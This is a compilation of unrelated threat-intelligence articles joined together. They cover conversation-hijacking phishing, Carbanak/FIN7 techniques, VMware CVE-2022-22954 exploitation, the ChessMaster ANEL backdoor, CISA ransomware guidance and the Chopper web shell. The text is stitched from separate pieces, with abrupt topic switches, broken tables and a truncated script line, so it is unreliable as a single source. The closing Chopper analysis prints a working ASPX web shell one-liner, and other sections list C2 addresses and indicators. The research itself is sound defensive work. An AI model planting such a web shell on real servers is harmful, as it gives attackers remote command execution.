Rather than simply using a theme or lure that is relevant to the target, the attackers behind these attacks use an email conversation that’s in progress to carry out their attack.


You can see an image of how this works below in Figure 1.  Figure 1 Conversation Hijacking to Deliver Malware  How this works is that two users, Alice (A) and Bob (B) are carrying on an email conversation.


A shown in the top figure, an attacker, Charlie (C), carries out an attack that enables him to gain complete control of Alice’s email account, most likely through some form of credential theft.


Once Charlie has access to Alice’s email account, he then finds email conversations between Alice and Bob, his ultimate target.


When he finds one that is still in progress, he crafts a malicious attack email that seems to be relevant to the ongoing email conversation and sends it to Bob as shown in the bottom figure.


If Charlie was successful in crafting the attack email to seem legitimate enough, Bob will open the email and any attachments and the attack will succeed.  Unlike phishing or even general spear phishing, this is a highly sophisticated, labor intensive, focused attack.


Carrying out a successful conversation hijacking spear phishing attack requires knowing someone that the ultimate target is communicating with, compromising that person’s account, identifying an ongoing email conversation with the ultimate target, crafting an email to appear part of that ongoing email conversation and finally sending it.


Even then there’s no guarantee of success since the target may somehow recognize the attack or have sufficient prevention controls in place to prevent the attack from succeeding.


Given all those points, this isn’t an attack that many of us need to worry about.


But those out there who are in positions that might make them a high value target do need to be concerned about this.


Whether you’re on the board of directors for an organization, a CEO/CFO/CSO, entrusted with important military or political information, are a journalist, or an activist/dissident, this is a kind of attack that you could face.


And like with all targeted attacks, you don’t have to be the ultimate target of the attack campaign to be a target: this is a tactic that can be used as part of a broader attack campaign.


For example, if you are the executive assistant for a CEO, you could be the target of an attack like this (“Bob” in our scenario above) so that you in turn are used to carry out an attack (“Alice” in our scenario above) against your CEO (who then becomes “Bob” in our scenario above).  Because of the nature of the attack, unless you verify each and every email you receive, it’s unlikely that you’ll necessarily be able to spot and thwart an attack.


In this case, your best means of protection lies in prevention.


And prevention here is really focused on two things.


First, keeping your systems and devices fully up-to-date with the latest software and security updates.


The specific attack our Unit 42 research team has seen using this technique relied on an attack against a vulnerability in Microsoft Office for which a patch is available.


If an attacker tried to carry this attack out against a target that was patched for this vulnerability, it would fail.


Second, using security on your systems, devices and networks that provides multiple layers of protection can help prevent attacks.  Conversation hijacking spear phishing isn’t a threat everyone faces, but for those who do it represents a significant escalation in terms of sophistication and social engineering of spear phishing attacks.


It also takes spear phishing attacks to a level that makes it nearly impossible to distinguish an attack email from a legitimate email.


And so technological prevention controls (patching, robust security) are even more for effective prevention.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


Constant monitoring of threat groups is one of the ways that security researchers and law enforcement agencies are able defend systems against cybercrime.


Among these cybercriminals are financially motivated threat groups Carbanak and FIN7.


Although both names have at times been used to refer to the same group, organizations such as MITRE identifies them as two separate entities that wield the Carbanak backdoor in their attacks.


However, the groups use not just the Carbanak backdoor but also other types of malware such as Pillowmint, a point-of-sale malware, and Tirion, which is said to be geared to replace Carbanak.


MITRE also identifies different main targets for each group: While Carbanak focuses on banking institutions, FIN7 targets food, hospitality, and retail establishments.


This week, the results of this year's round of the MITRE Engenuity ATT&CK Evaluations were released, which focused on Carbanak+FIN7.


We also separately discussed how Trend Micro solutions deal with these threats.


For more background on what happens in attacks launched by Carbanak and FIN7, we pieced together information from our studies of these groups as well as information from ATT&CK tactics and techniques (a total of 65 techniques across 11 tactics) identified by MITRE to be related to these threat groups.


What happens in Carbanak and FIN7 attacks?


In our analysis of a related past campaign, we observed that attackers enter the system through spear phishing.


After gaining a foothold in the system, the dynamic data exchange (DDE) feature in Windows and legitimate cloud-based services will then be abused to deliver the malware or to establish command-and-control (C&C) communication.


After this, the Carbanak backdoor can then be used to log keystrokes and capture screenshots, steal and delete cookies, inject malicious code on sites, and monitor various traffic.


For lateral movement, the malware abuses remote and system administration tools.


To be more specific in terms of ATT&CK® techniques, Carbanak and FIN7 share a notable number of similarities.


However, some techniques are only used by one of them, as we discuss in the subsequent sections.


Figure 1. ATT&CK® tactics shared between Carbanak and FIN7      The following are the tactics and techniques that are employed by Carbanak and FIN7, as shared by MITRE.


Initial Access


Both groups use spear-phishing campaigns with attachments that are embedded with exploits as an entry point to the target system.


Execution


Successfully entering the system leads to the next step: executing the attack.


For code and behavior execution, both groups use a variety of techniques through native API, PowerShell, service execution, user execution, Windows Component Object Model (COM) and Distributed COM, and Windows Management Instrumentation (WMI).


Carbanak also abuses command-line interface and DDE client-server protocol.


On the other hand, FIN7 takes advantage of Mshta, a utility that can execute VBScript, and scheduled tasks to run malicious code on user systems.


Persistence


Once the malicious behavior is executed, the attackers will attempt to keep their presence in a system.


To maintain persistence, the groups create new services.


They also add programs to a startup folder that can be referenced with a registry run key.


We detected a variant of the Carbanak malware that adds registry entries and keys as an autostart technique.


Credentials of existing valid accounts were also abused.


In the case of FIN7, the use of application shimming databases (which can allow developers to apply fixes to applications without rewriting code) and hooking processes that allow the modification of program behaviors are some of the techniques that can be applied.


The former has been utilized in a campaign involving the Pillowmint malware.


Privilege Escalation


Some functions that are needed for the attack require admin privileges.


To elevate privileges, the groups bypass Windows User Account Control (UAC) mechanisms, new services, and valid accounts to elevate process privileges.


For the same purpose, on Linux systems, Carbanak attacks can use sudo, a program that permits users to execute the programs of a superuser.


FIN7 attacks can and inject code into processes and hijack the search order used to load DLL files.


Defense Evasion


After a series of malicious behavior, attackers need to remain stealthy and undetected by using security solutions that can remove threats out of the system.


For defense evasion, both groups create or acquire tools for code signing the malware, or deobfuscate or decode files or information by using malware functions or utilities in the system.


Both groups also employ masquerading to make features appear benign to security solutions, files or information obfuscation to make these files and information difficult to discover, software packing to conceal code, and process injection to evade process-based defense.


Carbanak also performs techniques for disabling security tools, deleting files that are left in malicious activity, and modifying registry to hide configuration information.


FIN7 utilizes guardrails to restrict execution and abused utilities that allow indirect command execution that can go past security restrictions.


The group also evades virtualization and sandboxes and injects malicious code into hollowed processes to dodge process-based defenses.


Credential Access


Some portions of the system are protected by credentials.


To steal these, both groups employed credential dumping and input capture.


The former involves credentials that are usually in the form of hash or clear text, while the latter involves API or web portals.


Carbanak also performs brute force tactics or takes advantage of credentials that are saved in web browsers.


On the other hand, FIN7 performs hooking.


Discovery


For the discovery phase, the Carbanak and FIN7 campaigns gain more knowledge about the system by gathering listings of various information: open application windows, running processes, IP addresses and other network identifiers in remote systems, detailed hardware and system information, system network configuration and settings, and system owners and users.


Carbanak also collects information on accounts, files and directories, group permissions, and registries.


FIN7 gathers information on network shares.


The gathered information can aid in the next step: lateral movement.


Lateral Movement


The groups move through the network and identify key assets and data by logging in via RDP, copying files to upload adversary tools through remote file copy, and abusing Window admin shares.


In Carbanak attacks, the groups’ attacks can involve logging into services that accept remote connections and using stolen password hashes through the “pass the hash” method.


Collection


After moving through the network and identifying assets to target, the next step would be to gather key data.


At the collection phase, Carbanak and FIN7 campaigns harvest data from local system sources and through input and screen capture (as performed in a related campaign using the Tirion malware).


FIN7 attacks can stage collected data in a particular location in preparation for exfiltration.


Command and Control


In both Carbanak and FIN7 attacks, communication with users’ compromised systems is done through bypassing firewalls or network detection systems via commonly used ports, using connection proxies to avoid direct connections to the threat group’s infrastructure, employing the command-and-control channel to remotely copy files from an external system, blending in with existing network traffic by using standard application layer protocol, and taking advantage of standard cryptographic protocol to disguise command-and-control traffic.


Carbanak campaigns can also use legitimate programs and remote access software for command and control.


They also employ standard non-application layer protocols for communication.


Exfiltration


In the final phase of the attack, the groups exfiltrate the stolen data into the normal communications channel via command-and-control channels.


For FIN7 attack routines, data can be compressed and/or encrypted before being exfiltrated.


ATT&CK® tactics and techniques for Linux were also shared by MITRE.


Continuous vigilance against threat groups is an important aspect of keeping up with — if not being one step ahead of — threats.


Solutions such as Trend Micro Vision One™ provide visibility, correlated detection, and behavior monitoring across multiple layers: email, endpoints, servers, cloud workloads.


Tags  Endpoints | APT & Targeted Attacks | Research | Articles, News, Reports


This post is also available in:      日本語 (Japanese)


On April 6, 2022, VMware published a security advisory mentioning eight vulnerabilities, including CVE-2022-22954 and CVE-2022-22960 impacting their products VMware Workspace ONE Access, Identity Manager and vRealize Automation.


On April 13, they updated their advisory with information that CVE-2022-22954 is being exploited in the wild.


Multiple writeups detailing exploitation scenarios for the aforementioned two vulnerabilities were published in the last week of April, finally followed by a CISA Alert on May 18.


The CISA Alert also calls out CVE-2022-22972 and CVE-2022-22973 – published on the same day and affecting the same products – as being highly likely to be exploited.


Unit 42 has observed numerous instances of CVE-2022-22954 being exploited in the wild.


In this blog post, we share context around this observed activity, along with how the Palo Alto Networks product suite can be leveraged to protect against it.


Timeline for VMware Vulnerabilities CVE-2022-22954 in the Wild Direct Downloads Mirai/Gafgyt Dropper Scripts or Variants Webshells Perl Shellbot Base64 Injections SSH Key Targeting CVE-2022-22960 in the Wild Conclusion Indicators of Compromise


Publication of VMware advisory VMSA-2022-0011 regarding CVE-2022-22954, CVE-2022-22955,CVE-2022-22956, CVE-2022-22957, CVE-2022-22958, CVE-2022-22959, CVE-2022-22960, CVE-2022-22961.


Proofs of concept available on GitHub.


This is also the earliest date at which Unit 42 observed exploitation attempts and scanning activity.  2022-04-13: VMware advisory updated with knowledge of active exploitation of CVE-2022-22954 in the wild.


Publication of VMware advisory VMSA-2022-0014 regarding CVE-2022-22972, CVE-2022-22973.


Publication of CISA Alert.


As of this writing, no proofs of concept for exploitation of CVE-22972 or CVE-2022-22973 are known.


This post will be updated with new findings as they are discovered.


CVE-2022-22954, a remote code execution (RCE) vulnerability due to server-side template injection in VMware Workspace ONE Access and Identity Manager, is trivial to exploit with a single HTTP request to a vulnerable device.


The list below details the exploits Unit 42 observed targeting this vulnerability that we deemed worth highlighting.


The injected commands worth mentioning that intended to further download payloads to a vulnerable machine can be categorized into the following broad categories:  We observed several instances of CVE-2022-22954 being exploited to drop variants of the Mirai malware.


In most cases, the exploit was only used to drop the payload, however the payloads themself did not contain CVE-2022-22954 exploits for further propagation.


Instead, they were either non-specific Mirai variants or contained previously known exploits such as CVE-2017-17215.


The exception to this is Enemybot, a currently prevalent botnet built with bits of code from both Gafgyt and Mirai source code.


The exploits involving Enemybot eventually download Enemybot samples that themselves embed CVE-2022-22954 exploits for further exploitation and propagation.


We observed the vulnerability exploited to download webshells, including:  Certain injected commands result in the download of obfuscated Perl scripts.


Deobfuscating these scripts reveals they are versions of the known bot family “Stealth Shellbot” that reaches out to an IRC server to listen for commands to perform.


It has the ability to further make HTTP requests based on commands received.


This would mean infected machines could then be directed to further perform scanning and exploitation activity, in addition to directly executing shell commands received from the command and control (C2) server on the target machine.


A complete list of indicators of compromise (IoCs) can be found at the end of this post.


This last command downloads a shell script that ultimately downloads and executes an XMRig coinminer.


We also observed some instances of injected payloads that were either trying to read authorized keys on vulnerable machines or were writing into the authorized_keys file to add to the machine’s list of accepted keys.


Following is an example of such an attempt.


CVE-2022-22960 is a privilege escalation vulnerability in VMware Workspace ONE Access, Identity Manager and vRealize Automation instances, due to improper permissions in support scripts.


The vulnerability can be leveraged to run commands as a root user on a vulnerable instance.


More specifically, this flaw exists since the default user for these VMware products, horizon, has access to several sudo commands, some of which involve paths that can be overwritten as well.


Attackers can, therefore, leverage CVE-2022-22954 to remotely execute commands to overwrite specific paths.


If successful, CVE-2022-22960 can then be leveraged to execute these overwritten paths with root permissions using the sudo command.


Our research so far has shown one publicly known sample demonstrating exploitation of CVE-2022-22960 by overwriting the /usr/local/horizon/scripts/publishCaCert.hzn file.


The content of this exploit file can be observed below.


Another proof of concept code sample is additionally available targeting the following 2 filepaths: /opt/vmware/certproxy/bin/certproxyService.sh /usr/local/horizon/scripts/diagnostic/getPasswordExpiry.hzn


Palo Alto Networks is still actively investigating a number of the aforementioned vulnerabilities, many of which do not have publicly available exploit code.


Presently, customers may leverage the following to block or detect the threats communicated throughout this publication:


Palo Alto Networks Next Generation Firewall Threat Prevention blocks CVE-2022-22954 exploits with Signature 92483.


Cortex Xpanse was able to identify ~800 instances of VMware Workspace ONE Access connected to the public internet, and can be leveraged to enumerate potentially vulnerable instances within customer networks.


WildFire and Cortex XDR categorize all samples of supported file types as malware.


Additionally, all encountered URLs have been flagged as malware within PAN-DB, the Advanced URL Filtering URL database.


If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:  As further information or detections are put into place, Palo Alto Networks will update this publication accordingly.


Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.


CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.


Learn more about the Cyber Threat Alliance.


Mirai/Gafgyt dropper scripts or variants  Perl Shellbot  Coinminer activity  Webshell downloads (full injected command)  Callback/Scanning activity  Direct Download exploits where payloads were no longer live at the time of analysis:  Sample hashes  801b23bffa65facee1da69bc6f72f8e1e4e1aeefc63dfd3a99b238d4f9d0a637 6d403c3fc246d6d493a6f4acc18c1c292f710db6ad9c3ea2ff065595c5ad3c5b 940a674cfe8179b2b8964bf408037e0e5a5ab7e47354fe4fa7a9289732e1f1b8 fdc94d0dedf6e53dd435d2b5eacb4c34923fadee50529db6f3de38c71f325e05 85143ecc41fb6aadd822ed2d6f20c721a83ae1088f406f29b8b0b05459053a03  bot.v 0b4b25fab4c922e752e689111f38957e0402fd83f6b1d69e8f43c6f4b68fc1ba C2 server : 5[.]39.217.212:80


Channel : #vcenter getsome  bot.redis 48628ca95608a015f47506eb1dc6fad0cd04a4cf5d44fdb8f10255fe0aa3c29b C2 server : 64[.]32.6.143:80


Channel : #redis getsome  botVNC c399b56e1baf063ca2c8aadbbe4a2b58141916aac8ef790a9c29762ed1956bd5 C2 server : 5[.]39.217.212:80


Channel : #D getsome  7e29615126585b9f87ded09cfae4724bb5d7896c7daf2adfcef775924549e49b  099ac2f3e10346dbef472b2a7b443ebfe1f6011a9a2518a54c20aad07fe9ec61  Updated May 23, 2022, at 1 p.m. PT.   Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


Additional resources https://www.zerodayinitiative.com/about https://www.zerodayinitiative.com/blog      Tags


Latest News | Exploits & Vulnerabilities | Cyber Threats | Connected Car | APT & Targeted Attacks | Endpoints | IoT | Video


Trend Micro discovered the ChessMaster campaign back in July 2017 as part of our monitoring efforts to protect our customers.


At the time, we found ChessMaster targeting different sectors from the academe to media and government agencies in Japan.


The threat group used a variety of attack tools and techniques to spy on their target organizations.


Back then, we noted that ChessMaster's sophisticated nature implied that the campaign could evolve, before finding changes in the tools and tactics used in the campaign a few months later.


While the original campaign was comprehensive and used remote access Trojans (RATs) such as ChChes and RedLeaves, this new campaign used a new backdoor (Detected by Trend Micro as BKDR_ANEL.ZKEI) that leverages the CVE-2017-8759 vulnerability for its cyberespionage activities.


In this blog post, we analyze ChessMaster's current status, including the updated tools in its arsenal — with a particular focus on the evolution of ANEL and how it is used in the campaign.


July ChessMaster Campaign November ChessMaster Campaign Current ChessMaster Campaign


Point of Entry  Spear-phishing emails containing decoy documents Malicious shortcut (LNK) files and PowerShell Self-extracting archive (SFX) Runtime packers    Spear-phishing emails containing decoy documents exploiting CVE-2017-8759    Spear-phishing emails containing decoy documents exploiting  CVE-2017-11882, DDEAUTO, Microsoft Office Frameset and Link auto update   Notable Tools  Hacking Tools Second-stage payloads    Koadic Hacking Tools Second-stage payloads    Koadic Hacking Tools Second-stage payloads   Backdoor  ChChes    ANEL    ANEL     Technical Analysis  Figure 1.


Infection Chain for the current ChessMaster campaign


ChessMaster’s current iteration starts off with the familiar phishing attacks seen in the earlier campaigns that involved the use of an email with an attached malicious document using the doc, docx, rtf, csv and msg formats.


The email title and attached file name were written in Japanese and contain general business, political, and economy-themed phrases such as  世界経済(World economy) 経済政策(economic policy) 予算概算要求(budget estimation request) 日米対話(Japan-US dialogue) 安倍再任(re-appointment of Prime Minister Abe) 連絡網(contact network) 職員採用案(staff recruitment plan) 会議(meeting)  However, there is a change in the exploit document.


When we tracked ChessMaster back in November, we noted that it exploited the SOAP WSDL parser vulnerability CVE-2017-8759 (patched in September 2017) within the Microsoft .NET framework to download additional malware.


While ChessMaster still uses the previous exploit, it also added more methods to its arsenal: one exploits another vulnerability, CVE-2017-11882 (patched in November 2017), which was also exploited to deliver illegal versions of the Loki infostealer.


Figure 2. Exploitation of CVE-2017-11882


It also abuses three legitimate MS Office functions:


Function Purpose Affected MS Office Formats we found in the wild Automatic Dynamic Data Exchange (DDEAUTO) A legitimate Microsoft Office function used in an Office file to retrieve data from another Office file


.doc .rtf .msg   Link


Auto Update


An Office function used for automatic and user-free updates for embedded links upon opening.


.csv   Microsoft Word's "Frames/Frameset" A feature that allows HTML or Text pages to be loaded in a frame within Microsoft Word.


.docx      Figure 3. Exploitation of DDEAUTO  Figure 4.


Abusing Microsoft Word's "Frames/Frameset"


Figure 5. Exploitation of Link Auto Update


ChessMaster can utilize any of these methods to download the next malware in the chain, the open source post-exploitation tool known as “Koadic,” which the previous campaign also used.


This tool is responsible for stealing information — specifically the environment information — within the target system.


Koadic executes the following command:  %comspec% /q /c <cmd> 1> <Output> 2>&1


The commands and output of Koadic will change according to the ANEL version used in the attack.


The table below lists examples of the commands and outputs for ANEL versions 5.1.1 rc and 5.1.2 rc1.


Note that if ANEL 5.1.2 rc1 was downloaded, the attacker would use HTTPS to avoid the downloaded data being captured as clear text.


Figure 6.


Koadic commands and output when ANEL 5.1.1 rc is used  Figure 7.


Koadic commands and output when ANEL 5.1.2 rc1 is used


The table below lists all of Koadic's functions:  {Variable}.user User-related functions {Variable}.user.isElevated Check Privilege {Variable}.user.OS Get OS Version {Variable}.user.DC


Get DCName from Registry {Variable}.user.Arch


Get Architecture {Variable}.user.info Get User Information {Variable}.work


Main Routine functions {Variable}.work.report Reports to server {Variable}.work.error Returns error {Variable}.work.make_url Alters/Modifies URL (C&C) {Variable}.work.get


Get the return of POST Header {Variable}.work.fork Creates rundll32.exe process {Variable}.http HTTP Connection functions {Variable}.http.create Creates initial HTTP objects {Variable}.http.post POST header {Variable}.http.addHeaders


Adds HTTP Headers {Variable}.http.get GET Header {Variable}.http.upload Uploads binaries/data {Variable}.http.bin2str String manipulation {Variable}.http.downloadEx


Downloads response {Variable}.http.download Additional download function {Variable}.process Process-related functions {Variable}.process.currentPID Get Current Process ID {Variable}.process.list Enumerates Process {Variable}.process.kill Terminates Process {Variable}.registry Registry-related functions {Variable}.registry.HKCR Set HKEY_CLASSES_ROOT {


Variable}.registry.HKCU Set HKEY_CURRENT_USER {Variable}.registry.HKLM Set HKEY_LOCAL_MACHINE {Variable}.registry.STRING Set String Value {Variable}.registry.BINARY Set Binary Value {Variable}.registry.DWORD Set DWORD Value {Variable}.registry.QWORD


Set QWORD Value {Variable}.registry.write Write/Add Registry {Variable}.registry.provider Create Registry Handle {Variable}.registry.destroy Deletes Registry Key {Variable}.registry.read Get/Read Registry Entries {Variable}.WMI WMI-related functions {


Variable}.WMI.createProcess Creates specified process {Variable}.shell File/Process Execution functions {Variable}.shell.run Run commands {Variable}.shell.exec Executes process {Variable}.file File-related functions {Variable}.file.getPath Get specified file path {Variable}.file.readText Reads specified text file {Variable}.file.get32BitFolder Get System Folder (32/64-bit) {Variable}.file.writol Writes on specified file {Variable}.file.deleteFile Deletes specified file {Variable}.file.readBinary Reads specified binary file.    Figure 8.


Command added when the Koadic RAT is downloaded (use of {Variable}.shell.exec command)


If Koadic finds that the system is conducive to the attacker’s interests, it downloads a base64-encrypted version of the ANEL malware from the Command-and-Control (C&C) server and executes it.  Encrypted ANEL is decrypted using the “certutil -docode” command.


When ANEL executes, a decrypted DLL file with the filename “lena_http_dll.dll” is expanded in memory.


This file contains one export function — either “crt_main” or “lena_main”  Figure 9.


Base64 encoded ANEL downloaded by Koadic ANEL will send the infected environment’s information to the C&C server.


When sending the information, ANEL encrypts the data using blowfish, XOR, and Base64-based encryption methods.


The format ANEL uses to send data is similar to ChChes, but ANEL's encryption method is easier to use.


Figure 10.


Encryption key using blowfish


We initially discovered the malware known as ANEL back in September 2017.


At that time, ChessMaster was using ANEL as a backdoor into the target system then injects code into svchost.exe, which then decrypts and activates the embedded backdoor.


This initial version of ANEL had a hardcoded version labeled “5.0.0 beta1” that contained incomplete code.


We noted that this might signify the release of a future variant.


Instead of just one new variant, we discovered four different versions of ANEL:  5.0.0 beta1 5.1.1 rc 5.1.2 rc1 5.2.0 rev1  The different versions contain changes in the ANEL loader and the main ANEL DLL.


The figure below shows a summary of the changes between each version:  Figure 11.


Summary of the changes between each version of ANEL


Differences with regards to Backdoor commands:  CMD ID 5.0.0 beta1/5.1.1 rc/5.1.2 rc1 5.2.0 rev1 0x97A168D9697D40DD Save File 0x7CF812296CCC68D5 Upload File 0x652CB1CEFF1C0A00 NA Load New PE file 0x27595F1F74B55278 Save File and Execute If no match above Execute Command or File   The differences shown in the table above are subtle but present.


For example, the initial ANEL version, “5.0.0 beta1,” uses a different C&C server compared to the other versions.


Once ANEL evolved to “5.1.1 rc,” it changed its file type to an executable, while also changing the C&C server.


The third version we found (5.1.2 rc1) reverts to a DLL file type but retains the C&C server.


The fourth version of ANEL (5.2.0 rev1) changes both the export function in the expanded main ANEL DLL and uses a different C&C server.


Overall, we can see subtle changes, which indicate that the threat actors behind ANEL are making incremental improvements to the malware to refine it.


Figure 12.


Backdoor function differences between ANEL 5.0.0 beta1/5.1.1 rc/5.1.2 rc1 (left) and ANEL 5.2.0 rev1 (right)


Once ANEL enters the user’s system, it will download various tools that could be used for malicious purposes, including password retrieval tools as well as malicious mail services and accessibility tools that will allow it to gather information about the system.


These include Getpass.exe and Mail.exe, which are password and information stealers.


It also downloads the following:  Accevent.exe <-> Microsoft Accessible Event Watcher 7.2.0.0 event.dll <-> the loader of ssssss.ddd, (Detected as TROJ_ANELLDR) ssssss.ddd (lena_http.bin) <-> encrypted BKDR_ANEL (Detected as BKDR_ANELENC)


These three files work together using a common technique call DLL Side-Loading or DLL Hijacking.


In this scenario, accevent.exe is the primary executable, which is usually legitimate.


After the execution of accevent.exe, it loads event.dll, which will be placed in the same folder (so it takes loading priority), after which event.dll decrypts and loads the encrypted backdoor ssssss.ddd, which is BKDR_ANEL.


When we analyzed ANEL 5.1.1 rc, encrypted ANEL 5.1.2 rc1 was downloaded and executed.


Short-term mitigation


When the user opens the document DDEAUTO or Link Auto Update, Office will display a message.


If the user clicks on the “No” button, malicious activity will not initiate.


Figure 13: Popup message when users open the document that abuses DDEAUTO  Figure 14.


Popup message when the user opens the document that abuses Link Auto Update Koadic sends its own JavaScript code as plain text.


The suspect communication allows us to detect the traffic.


Figure 15. Koadic’s communication traffic Medium- to long-term mitigation


At first glance, it seems ChessMaster’s evolution over the past few months involves subtle changes.


However, the constant addition and changing of features and attack vectors indicate that the attackers behind the campaign are unlikely to stop and are constantly looking to evolve their tools and tactics.


Organizations can implement various techniques and best practices to defend against targeted attacks, such as regular patching to prevent vulnerability exploitation and using tools that provide protection across different network levels.


Solutions that feature behavior monitoring, application control, email gateway monitoring, and intrusion/detection systems can help with this.


Given how cybercriminal tools, tactics and procedures are evolving, organizations will have to go beyond their typical day-to-day security requirements and find a way to preempt attacks.


Thus, there is a pressing need to detect and address threats via a proactive incident response strategy.


Essentially, this involves creating a remediation plan for effectively combating the threat and using round-the-clock intrusion detection and threat analysis to prevent attacks from entering the system.


A proactive strategy can be much more effective for targeted attacks, as these kinds of attacks are often designed to be elusive and difficult to detect, thus the need to scope them out.


A comprehensive security strategy that involves proactive incident response will need the input of both decision makers and tech-savvy personnel, as they will need to be on the same page for it to be effective.


In addition to implementing both mitigation techniques and proactive strategies, organizations can also strengthen their security by employing solutions such Trend Micro™ Deep Security™ and TippingPoint, which protects endpoints from threats that abuse vulnerabilities.


In addition, comprehensive security solutions can be used to protect organizations from attacks.


These include Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security, which can protect users and businesses from these threats by detecting malicious files, well as blocking all related malicious URLs.


Trend Micro Deep Discovery™ can protect enterprises by detecting malicious attachment and URLs.


Trend Micro OfficeScan™ with XGen™ endpoint security


infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against all kinds of threats.


A more detailed analysis of the Command-and-Control communication flow of ANEL can be found in this technical brief.


Indicators of Compromise Hash Downloader used in the campaign:  76b1f75ee15273d1226392db3d8f1b2aed467c2875e11d9c14fd18120afc223a 4edcff56f586bd69585e0c9d1d7ff4bfb1a2dac6e2a9588f155015ececbe1275 1b5a1751960b2c08631601b07e3294e4c84dfd71896453b65a45e4396a6377cc  Hashes detected as part of the BKDR_ANEL Family: 5.0.0 beta1  af1b2cd8580650d826f48ad824deef3749a7db6fde1c7e1dc115c6b0a7dfa0dd  5.1.1 rc  2371f5b63b1e44ca52ce8140840f3a8b01b7e3002f0a7f0d61aecf539566e6a1  5.1.2 rc1  05dd407018bd316090adaea0855bd7f7c72d9ce4380dd4bc0feadc6566a36170  5.2.0 rev1  00030ec8cce1f21120ebf5b90ec408b59166bbc3fba17ebae0fc23b3ca27bf4f  lena_http.bin  303f9c00edb4c6082542e456a30a2446a259b8bb9fb6b0f76ff318d5905e429c  Tools used in the campaign: Getpass.exe  52a8557c8cdd5d925453383934cb10a85b117522b95c6d28ca097632ac8bc10d  event.dll  6c3224dbf6bbabe058b0ab46233c9d35c970aa83e8c4bdffb85d78e31159d489  mail.exe  2f76c9242d5ad2b1f941fb47c94c80c1ce647df4d2d37ca2351864286b0bb3d8  URLs and IP Addresses related to the campaign:  www[.]nasnnones[.]com trems[.]rvenee[.]com contacts[.]rvenee[.]com 91[.]207[.]7[.]91 89[.]18[.]27[.]159 89[.]37[.]226[.]108 185[.]25[.]51[.]116 185[.]81[.]113[.]95 185[.]144[.]83[.]82 185[.]153[.]198[.]58 185[.]159[.]129[.]226         Tags  Malware | APT & Targeted Attacks | Endpoints | Cyber Crime | Research | Network


Last June 9, 2021, the Cybersecurity and Infrastructure Security Agency (CISA) released the Rising Ransomware Threat to OT Assets, which addresses the recent rise in ransomware attacks targeting operational assets (OT) and control systems.


The guidance provides steps to prepare for, mitigate against, and respond to attacks.


It also identifies how dependencies between an enterprise's IT and OT systems can give attackers a path.


Lastly, the document thoroughly explains how to decrease the risk of severe business degradation if affected by a ransomware attack.


To prepare for ransomware attacks, CISA recommends enterprises determine their critical operational processes' reliance on key IT infrastructure and identify a resilience plan for when access control is lost.


They should also exercise an incident response plan and Implement regular data backup procedures on both IT and OT networks.


For mitigating and responding to an attack, organizations must practice good cyber hygiene by updating software, implementing an allow listing, and enabling strong spam filters.


Organizations must also identify which systems were affected and immediately isolate them and triage the impacted systems for restorations and recovery.


They must also confer with teams to develop and document what has occurred.


According to the agency, critical infrastructure owners and operators should also adopt an "heightened state of awareness".


CISA also encourages them to identify critical processes that must not be interrupted to provide essential services, develop and regularly test workarounds and/or manual controls that ensure critical processes and industrial control system (ICS) network supporting them.


CISA recommends critical infrastructure owners to implement robust network segmentation between IT and OT networks and make sure backup procedures are executed and tested regularly.


Lastly, backups should be isolated from network connections.


The fact sheet comes after numerous ransomware attacks on key critical infrastructures in the US and abroad, including the attack on Colonial Pipeline by DarkSide.


In 2019, Trend Micro conducted research analyzing cyberattacks by building and using a factory honeypot, mimicking a factory environment.


The study, Fake Company, Real Threats, revealed that over 20 attacks were observed during 240 days- six of which affected factory productivity.


This shows how vulnerable smart factories are when it comes to various cyberattacks, such as ransomware.


Ransomware incidents are federal crimes, according to the agency.


Enterprises, especially critical infrastructure establishments, must report the attack to law enforcement to help bring the attackers to justice.


Moreover, decision-makers and stakeholders should have a better understanding of cybersecurity and its role in securing their operations and the safety of consumers.


To learn more about how to protect smart factories and their critical operations, read Trend Micro's expertly crafted best practices and solutions:  Smart Factory Security Solutions Trend Micro Best Practices for Securing Smart Factories         Tags  Latest News | ICS OT | APT & Targeted Attacks | Ransomware | Articles, News, Reports | Cyber Threats


Web shells, in their simplicity and straightforwardness, are highly potent when it comes to compromising systems and environments.


These malicious code pieces can be written in ASP, PHP, and JSP, or any script that can execute a system command with a parameter that can pass through the web.


Web shells can be embedded on web servers and can be used by malicious actors to launch arbitrary code.


In as little as 15 bytes, web shells can enable remote administration of an infected machine or system.


Threats such as this can be difficult to detect even with multiple security layers — especially if they are not consolidated.   In this blog, we will dissect a targeted attack that made use of the Chopper ASPX web shell (detected by Trend Micro as Backdoor.ASP.WEBSHELL.UWMANA).  Technical Analysis


Initial access


Based on our investigation, the Chopper web shell is dropped via a system token, potentially via a Microsoft Exchange Server vulnerability.


One notable vulnerability in the Microsoft Exchange Server is CVE-2020-0688, a remote code execution bug.


Microsoft issued a patch for this vulnerability in  February 2020.


However, the malicious actors behind this attack drop the Chopper web shell in the web directory folder to establish persistence.


Through the ASPX file, malicious actors can establish a foothold in affected public-facing Outlook Web App (OWA) servers and send remote commands through them.


Outlook Web App (Web Directory)  -  D:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\15.1.2044\scripts\premium\premium.aspx


The attack features the following script:


<%@ Page Language="Jscript" Debug=true%>


var


var b=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("dW5zYWZl")); var c=eval(a,b); eval(c,b); %>


When simplified, the malicious script looks like this, with the eval being the executor and the Request.Form acquiring the parameter to be executed:


<%@ Page Language="Jscript"%><%eval(Request.Form["Command"],"unsafe");%> We’ve observed that in some cases, malicious actors insert this short script to avoid detection:       Figure 1. A short script


inserted by malicious actors to avoid detection


User Activity Checking Once Chopper successfully infects a system, the malicious actor will issue a query user (quser) command in an attempt to identify the primary user or those who are currently logged in as users in the system.


Based on our observation, the quser command was used routinely throughout the attack to determine active remote sessions.


Figure 2.


The quser command is used to identify active remote sessions.


Deobfuscation technique


To deploy its tools, it uses the expand command to extract package files dropped in the system.


